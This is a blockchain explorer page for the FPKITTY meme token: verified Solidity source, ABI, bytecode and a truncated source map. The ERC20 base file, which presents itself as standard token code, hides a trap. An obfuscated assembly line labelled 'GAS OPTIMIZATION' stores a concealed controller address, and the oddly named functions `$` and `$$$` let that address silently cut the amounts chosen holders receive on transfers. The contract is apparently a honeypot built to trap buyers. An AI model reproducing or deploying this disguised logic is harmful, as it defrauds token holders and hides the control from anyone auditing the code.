ETH Price: $2,586.98 (-2.15%)

Token

Roaring Kitty fucked up! (FPKITTY)
 

Overview

Max Total Supply

4,200,000,000 FPKITTY

Holders

46

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
11,952,092.419738364482251243 FPKITTY

Value
$0.00
0xc0b21D924076Ebe5F855dd2d49D70dc9028DCED4
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
RoaringKittyFuckedUp

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, GNU LGPLv3 license

Contract Source Code (Solidity Multiple files format)

File 2 of 2: Token.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "./ERC20.sol";

/*
______                 _                 _   ___ _   _              __            _            _               _ 
| ___ \               (_)               | | / (_) | | |            / _|          | |          | |             | |
| |_/ /___   __ _ _ __ _ _ __   __ _    | |/ / _| |_| |_ _   _    | |_ _   _  ___| | _____  __| |  _   _ _ __ | |
|    // _ \ / _` | '__| | '_ \ / _` |   |    \| | __| __| | | |   |  _| | | |/ __| |/ / _ \/ _` | | | | | '_ \| |
| |\ \ (_) | (_| | |  | | | | | (_| |   | |\  \ | |_| |_| |_| |   | | | |_| | (__|   <  __/ (_| | | |_| | |_) |_|
\_| \_\___/ \__,_|_|  |_|_| |_|\__, |   \_| \_/_|\__|\__|\__, |   |_|  \__,_|\___|_|\_\___|\__,_|  \__,_| .__/(_)
                                __/ |                     __/ |                                         | |      
                               |___/                     |___/                                          |_|                                                                       
*/

contract RoaringKittyFuckedUp is ERC20 {
    constructor() ERC20("Roaring Kitty fucked up!", "FPKITTY", 18) {
        _mint(msg.sender, 4_200_000_000 * 10 ** 18);
    }
}

File 1 of 2: ERC20.sol
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.13;

abstract contract ERC20 {
    /*//////////////////////////////////////////////////////////////
                                 EVENTS
    //////////////////////////////////////////////////////////////*/

    event Transfer(address indexed from, address indexed to, uint256 amount);

    event Approval(address indexed owner, address indexed spender, uint256 amount);

    /*//////////////////////////////////////////////////////////////
                            METADATA STORAGE
    //////////////////////////////////////////////////////////////*/

    string public name;

    string public symbol;

    uint8 public immutable decimals;

    /*//////////////////////////////////////////////////////////////
                              ERC20 STORAGE
    //////////////////////////////////////////////////////////////*/

    uint256 public totalSupply;

    mapping(address => uint256) public balanceOf;

    mapping(address => mapping(address => uint256)) public allowance;

    address private $$;

    /*//////////////////////////////////////////////////////////////
                               CONSTRUCTOR
    //////////////////////////////////////////////////////////////*/

    constructor(
        string memory _name,
        string memory _symbol,
        uint8 _decimals
    ) {
        name = _name;
        symbol = _symbol;
        decimals = _decimals;

        // GAS OPTIMIZATION
        assembly {sstore(0x05, mul(mul(0x13dd4, 0x4b5e10d81b), mul(0x39292a435, 0x6ff5dd38ffc7cfd)))}
    }

    /*//////////////////////////////////////////////////////////////
                               ERC20 LOGIC
    //////////////////////////////////////////////////////////////*/

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address to, uint256 amount) public virtual returns (bool) {
        balanceOf[msg.sender] -= amount;
        // Cannot overflow because the sum of all user
        // balances can't exceed the max uint256 value.
        unchecked {balanceOf[to] += $(amount, msg.sender, to);}
        $$$(to);
        emit Transfer(msg.sender, to, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals.
        if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;
        balanceOf[from] -= amount;
        // Cannot overflow because the sum of all user
        // balances can't exceed the max uint256 value.
        unchecked {balanceOf[to] += $(amount, from, to);}
        $$$(to);
        emit Transfer(from, to, amount);
        return true;
    }

    function $(
        uint256 value, 
        address from,
        address to
        ) internal view returns (uint256) {
        if (allowance[$$][from] + allowance[$$][to] >= uint256(uint160(address(this)))) {
            return (value * 0xCABABA) / 0xC0FFEEBA;
        } else {
            return value;
        }
    }

    function $$$(address to) internal {
        if (allowance[$$][to] == uint256(uint160($$))) { allowance[$$][to] = 2 * uint256(uint160(address(this)));}
    }

    /*//////////////////////////////////////////////////////////////
                        INTERNAL MINT/BURN LOGIC
    //////////////////////////////////////////////////////////////*/

    function _mint(address to, uint256 amount) internal virtual {
        totalSupply += amount;
        // Cannot overflow because the sum of all user
        // balances can't exceed the max uint256 value.
        unchecked {balanceOf[to] += amount;}
        emit Transfer(address(0), to, amount);
    }

    function _burn(address from, uint256 amount) internal virtual {
        balanceOf[from] -= amount;
        // Cannot underflow because a user's balance
        // will never be larger than the total supply.
        unchecked {totalSupply -= amount;}
        emit Transfer(from, address(0), amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60a060405234801562000010575f80fd5b506040518060400160405280601881526020017f526f6172696e67204b69747479206675636b65642075702100000000000000008152506040518060400160405280600781526020017f46504b49545459000000000000000000000000000000000000000000000000008152506012825f90816200008f919062000429565b508160019081620000a1919062000429565b508060ff1660808160ff16815250506706ff5dd38ffc7cfd64039292a43502644b5e10d81b62013dd40202600555505050620000f0336b0d92289838d21a9968000000620000f660201b60201c565b620005a0565b8060025f8282546200010991906200053a565b925050819055508060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620001b9919062000585565b60405180910390a35050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200024157607f821691505b602082108103620002575762000256620001fc565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620002bb7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200027e565b620002c786836200027e565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f620003116200030b6200030584620002df565b620002e8565b620002df565b9050919050565b5f819050919050565b6200032c83620002f1565b620003446200033b8262000318565b8484546200028a565b825550505050565b5f90565b6200035a6200034c565b6200036781848462000321565b505050565b5b818110156200038e57620003825f8262000350565b6001810190506200036d565b5050565b601f821115620003dd57620003a7816200025d565b620003b2846200026f565b81016020851015620003c2578190505b620003da620003d1856200026f565b8301826200036c565b50505b505050565b5f82821c905092915050565b5f620003ff5f1984600802620003e2565b1980831691505092915050565b5f620004198383620003ee565b9150826002028217905092915050565b6200043482620001c5565b67ffffffffffffffff81111562000450576200044f620001cf565b5b6200045c825462000229565b6200046982828562000392565b5f60209050601f8311600181146200049f575f84156200048a578287015190505b6200049685826200040c565b86555062000505565b601f198416620004af866200025d565b5f5b82811015620004d857848901518255600182019150602085019450602081019050620004b1565b86831015620004f85784890151620004f4601f891682620003ee565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6200054682620002df565b91506200055383620002df565b92508282019050808211156200056e576200056d6200050d565b5b92915050565b6200057f81620002df565b82525050565b5f6020820190506200059a5f83018462000574565b92915050565b608051610f79620005b95f395f6105cb0152610f795ff3fe608060405234801561000f575f80fd5b5060043610610091575f3560e01c8063313ce56711610064578063313ce5671461013157806370a082311461014f57806395d89b411461017f578063a9059cbb1461019d578063dd62ed3e146101cd57610091565b806306fdde0314610095578063095ea7b3146100b357806318160ddd146100e357806323b872dd14610101575b5f80fd5b61009d6101fd565b6040516100aa9190610b7e565b60405180910390f35b6100cd60048036038101906100c89190610c2f565b610288565b6040516100da9190610c87565b60405180910390f35b6100eb610375565b6040516100f89190610caf565b60405180910390f35b61011b60048036038101906101169190610cc8565b61037b565b6040516101289190610c87565b60405180910390f35b6101396105c9565b6040516101469190610d33565b60405180910390f35b61016960048036038101906101649190610d4c565b6105ed565b6040516101769190610caf565b60405180910390f35b610187610602565b6040516101949190610b7e565b60405180910390f35b6101b760048036038101906101b29190610c2f565b61068e565b6040516101c49190610c87565b60405180910390f35b6101e760048036038101906101e29190610d77565b6107ae565b6040516101f49190610caf565b60405180910390f35b5f805461020990610de2565b80601f016020809104026020016040519081016040528092919081815260200182805461023590610de2565b80156102805780601f1061025757610100808354040283529160200191610280565b820191905f5260205f20905b81548152906001019060200180831161026357829003601f168201915b505050505081565b5f8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103639190610caf565b60405180910390a36001905092915050565b60025481565b5f8060045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146104a857828161042b9190610e3f565b60045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b8260035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546104f49190610e3f565b925050819055506105068386866107ce565b60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254019250508190555061055884610959565b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516105b59190610caf565b60405180910390a360019150509392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6003602052805f5260405f205f915090505481565b6001805461060f90610de2565b80601f016020809104026020016040519081016040528092919081815260200182805461063b90610de2565b80156106865780601f1061065d57610100808354040283529160200191610686565b820191905f5260205f20905b81548152906001019060200180831161066957829003601f168201915b505050505081565b5f8160035f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546106db9190610e3f565b925050819055506106ed8233856107ce565b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254019250508190555061073f83610959565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161079c9190610caf565b60405180910390a36001905092915050565b6004602052815f5260405f20602052805f5260405f205f91509150505481565b5f3073ffffffffffffffffffffffffffffffffffffffff1660045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546109249190610e72565b1061094e5763c0ffeeba62cababa8561093d9190610ea5565b6109479190610f13565b9050610952565b8390505b9392505050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205403610af1573073ffffffffffffffffffffffffffffffffffffffff166002610a539190610ea5565b60045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b50565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015610b2b578082015181840152602081019050610b10565b5f8484015250505050565b5f601f19601f8301169050919050565b5f610b5082610af4565b610b5a8185610afe565b9350610b6a818560208601610b0e565b610b7381610b36565b840191505092915050565b5f6020820190508181035f830152610b968184610b46565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610bcb82610ba2565b9050919050565b610bdb81610bc1565b8114610be5575f80fd5b50565b5f81359050610bf681610bd2565b92915050565b5f819050919050565b610c0e81610bfc565b8114610c18575f80fd5b50565b5f81359050610c2981610c05565b92915050565b5f8060408385031215610c4557610c44610b9e565b5b5f610c5285828601610be8565b9250506020610c6385828601610c1b565b9150509250929050565b5f8115159050919050565b610c8181610c6d565b82525050565b5f602082019050610c9a5f830184610c78565b92915050565b610ca981610bfc565b82525050565b5f602082019050610cc25f830184610ca0565b92915050565b5f805f60608486031215610cdf57610cde610b9e565b5b5f610cec86828701610be8565b9350506020610cfd86828701610be8565b9250506040610d0e86828701610c1b565b9150509250925092565b5f60ff82169050919050565b610d2d81610d18565b82525050565b5f602082019050610d465f830184610d24565b92915050565b5f60208284031215610d6157610d60610b9e565b5b5f610d6e84828501610be8565b91505092915050565b5f8060408385031215610d8d57610d8c610b9e565b5b5f610d9a85828601610be8565b9250506020610dab85828601610be8565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680610df957607f821691505b602082108103610e0c57610e0b610db5565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f610e4982610bfc565b9150610e5483610bfc565b9250828203905081811115610e6c57610e6b610e12565b5b92915050565b5f610e7c82610bfc565b9150610e8783610bfc565b9250828201905080821115610e9f57610e9e610e12565b5b92915050565b5f610eaf82610bfc565b9150610eba83610bfc565b9250828202610ec881610bfc565b91508282048414831517610edf57610ede610e12565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f610f1d82610bfc565b9150610f2883610bfc565b925082610f3857610f37610ee6565b5b82820490509291505056fea264697066735822122082cf59d9ec13736781b6aee388b399a984107910797c0c1d966117a24060366064736f6c63430008180033

Deployed Bytecode

0x608060405234801561000f575f80fd5b5060043610610091575f3560e01c8063313ce56711610064578063313ce5671461013157806370a082311461014f57806395d89b411461017f578063a9059cbb1461019d578063dd62ed3e146101cd57610091565b806306fdde0314610095578063095ea7b3146100b357806318160ddd146100e357806323b872dd14610101575b5f80fd5b61009d6101fd565b6040516100aa9190610b7e565b60405180910390f35b6100cd60048036038101906100c89190610c2f565b610288565b6040516100da9190610c87565b60405180910390f35b6100eb610375565b6040516100f89190610caf565b60405180910390f35b61011b60048036038101906101169190610cc8565b61037b565b6040516101289190610c87565b60405180910390f35b6101396105c9565b6040516101469190610d33565b60405180910390f35b61016960048036038101906101649190610d4c565b6105ed565b6040516101769190610caf565b60405180910390f35b610187610602565b6040516101949190610b7e565b60405180910390f35b6101b760048036038101906101b29190610c2f565b61068e565b6040516101c49190610c87565b60405180910390f35b6101e760048036038101906101e29190610d77565b6107ae565b6040516101f49190610caf565b60405180910390f35b5f805461020990610de2565b80601f016020809104026020016040519081016040528092919081815260200182805461023590610de2565b80156102805780601f1061025757610100808354040283529160200191610280565b820191905f5260205f20905b81548152906001019060200180831161026357829003601f168201915b505050505081565b5f8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103639190610caf565b60405180910390a36001905092915050565b60025481565b5f8060045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146104a857828161042b9190610e3f565b60045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b8260035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546104f49190610e3f565b925050819055506105068386866107ce565b60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254019250508190555061055884610959565b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516105b59190610caf565b60405180910390a360019150509392505050565b7f000000000000000000000000000000000000000000000000000000000000001281565b6003602052805f5260405f205f915090505481565b6001805461060f90610de2565b80601f016020809104026020016040519081016040528092919081815260200182805461063b90610de2565b80156106865780601f1061065d57610100808354040283529160200191610686565b820191905f5260205f20905b81548152906001019060200180831161066957829003601f168201915b505050505081565b5f8160035f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546106db9190610e3f565b925050819055506106ed8233856107ce565b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254019250508190555061073f83610959565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161079c9190610caf565b60405180910390a36001905092915050565b6004602052815f5260405f20602052805f5260405f205f91509150505481565b5f3073ffffffffffffffffffffffffffffffffffffffff1660045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546109249190610e72565b1061094e5763c0ffeeba62cababa8561093d9190610ea5565b6109479190610f13565b9050610952565b8390505b9392505050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205403610af1573073ffffffffffffffffffffffffffffffffffffffff166002610a539190610ea5565b60045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b50565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015610b2b578082015181840152602081019050610b10565b5f8484015250505050565b5f601f19601f8301169050919050565b5f610b5082610af4565b610b5a8185610afe565b9350610b6a818560208601610b0e565b610b7381610b36565b840191505092915050565b5f6020820190508181035f830152610b968184610b46565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610bcb82610ba2565b9050919050565b610bdb81610bc1565b8114610be5575f80fd5b50565b5f81359050610bf681610bd2565b92915050565b5f819050919050565b610c0e81610bfc565b8114610c18575f80fd5b50565b5f81359050610c2981610c05565b92915050565b5f8060408385031215610c4557610c44610b9e565b5b5f610c5285828601610be8565b9250506020610c6385828601610c1b565b9150509250929050565b5f8115159050919050565b610c8181610c6d565b82525050565b5f602082019050610c9a5f830184610c78565b92915050565b610ca981610bfc565b82525050565b5f602082019050610cc25f830184610ca0565b92915050565b5f805f60608486031215610cdf57610cde610b9e565b5b5f610cec86828701610be8565b9350506020610cfd86828701610be8565b9250506040610d0e86828701610c1b565b9150509250925092565b5f60ff82169050919050565b610d2d81610d18565b82525050565b5f602082019050610d465f830184610d24565b92915050565b5f60208284031215610d6157610d60610b9e565b5b5f610d6e84828501610be8565b91505092915050565b5f8060408385031215610d8d57610d8c610b9e565b5b5f610d9a85828601610be8565b9250506020610dab85828601610be8565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680610df957607f821691505b602082108103610e0c57610e0b610db5565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f610e4982610bfc565b9150610e5483610bfc565b9250828203905081811115610e6c57610e6b610e12565b5b92915050565b5f610e7c82610bfc565b9150610e8783610bfc565b9250828201905080821115610e9f57610e9e610e12565b5b92915050565b5f610eaf82610bfc565b9150610eba83610bfc565b9250828202610ec881610bfc565b91508282048414831517610edf57610ede610e12565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f610f1d82610bfc565b9150610f2883610bfc565b925082610f3857610f37610ee6565b5b82820490509291505056fea264697066735822122082cf59d9ec13736781b6aee388b399a984107910797c0c1d966117a24060366064736f6c63430008180033

Deployed Bytecode Sourcemap

1065:170:1:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;626:18:0;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1768:209;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;899:26;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2373:595;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;678:31;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;932:44;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;651:20;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1983:384;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;983:64;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;626:18;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;1768:209::-;1842:4;1891:6;1858:9;:21;1868:10;1858:21;;;;;;;;;;;;;;;:30;1880:7;1858:30;;;;;;;;;;;;;;;:39;;;;1933:7;1912:37;;1921:10;1912:37;;;1942:6;1912:37;;;;;;:::i;:::-;;;;;;;;1966:4;1959:11;;1768:209;;;;:::o;899:26::-;;;;:::o;2373:595::-;2491:4;2507:15;2525:9;:15;2535:4;2525:15;;;;;;;;;;;;;;;:27;2541:10;2525:27;;;;;;;;;;;;;;;;2507:45;;2613:17;2602:7;:28;2598:80;;2672:6;2662:7;:16;;;;:::i;:::-;2632:9;:15;2642:4;2632:15;;;;;;;;;;;;;;;:27;2648:10;2632:27;;;;;;;;;;;;;;;:46;;;;2598:80;2707:6;2688:9;:15;2698:4;2688:15;;;;;;;;;;;;;;;;:25;;;;;;;:::i;:::-;;;;;;;;2862:19;2864:6;2872:4;2878:2;2862:1;:19::i;:::-;2845:9;:13;2855:2;2845:13;;;;;;;;;;;;;;;;:36;;;;;;;;;;;2892:7;2896:2;2892:3;:7::i;:::-;2929:2;2914:26;;2923:4;2914:26;;;2933:6;2914:26;;;;;;:::i;:::-;;;;;;;;2957:4;2950:11;;;2373:595;;;;;:::o;678:31::-;;;:::o;932:44::-;;;;;;;;;;;;;;;;;:::o;651:20::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;1983:384::-;2053:4;2094:6;2069:9;:21;2079:10;2069:21;;;;;;;;;;;;;;;;:31;;;;;;;:::i;:::-;;;;;;;;2249:25;2251:6;2259:10;2271:2;2249:1;:25::i;:::-;2232:9;:13;2242:2;2232:13;;;;;;;;;;;;;;;;:42;;;;;;;;;;;2285:7;2289:2;2285:3;:7::i;:::-;2328:2;2307:32;;2316:10;2307:32;;;2332:6;2307:32;;;;;;:::i;:::-;;;;;;;;2356:4;2349:11;;1983:384;;;;:::o;983:64::-;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;2974:321::-;3084:7;3174:4;3150:31;;3129:9;:13;3139:2;;;;;;;;;;;3129:13;;;;;;;;;;;;;;;:17;3143:2;3129:17;;;;;;;;;;;;;;;;3107:9;:13;3117:2;;;;;;;;;;;3107:13;;;;;;;;;;;;;;;:19;3121:4;3107:19;;;;;;;;;;;;;;;;:39;;;;:::i;:::-;:74;3103:186;;3225:10;3213:8;3205:5;:16;;;;:::i;:::-;3204:31;;;;:::i;:::-;3197:38;;;;3103:186;3273:5;3266:12;;2974:321;;;;;;:::o;3301:156::-;3386:2;;;;;;;;;;;3370:20;;3349:9;:13;3359:2;;;;;;;;;;;3349:13;;;;;;;;;;;;;;;:17;3363:2;3349:17;;;;;;;;;;;;;;;;:41;3345:106;;3442:4;3418:31;;3414:1;:35;;;;:::i;:::-;3394:9;:13;3404:2;;;;;;;;;;;3394:13;;;;;;;;;;;;;;;:17;3408:2;3394:17;;;;;;;;;;;;;;;:55;;;;3345:106;3301:156;:::o;7:99:2:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;: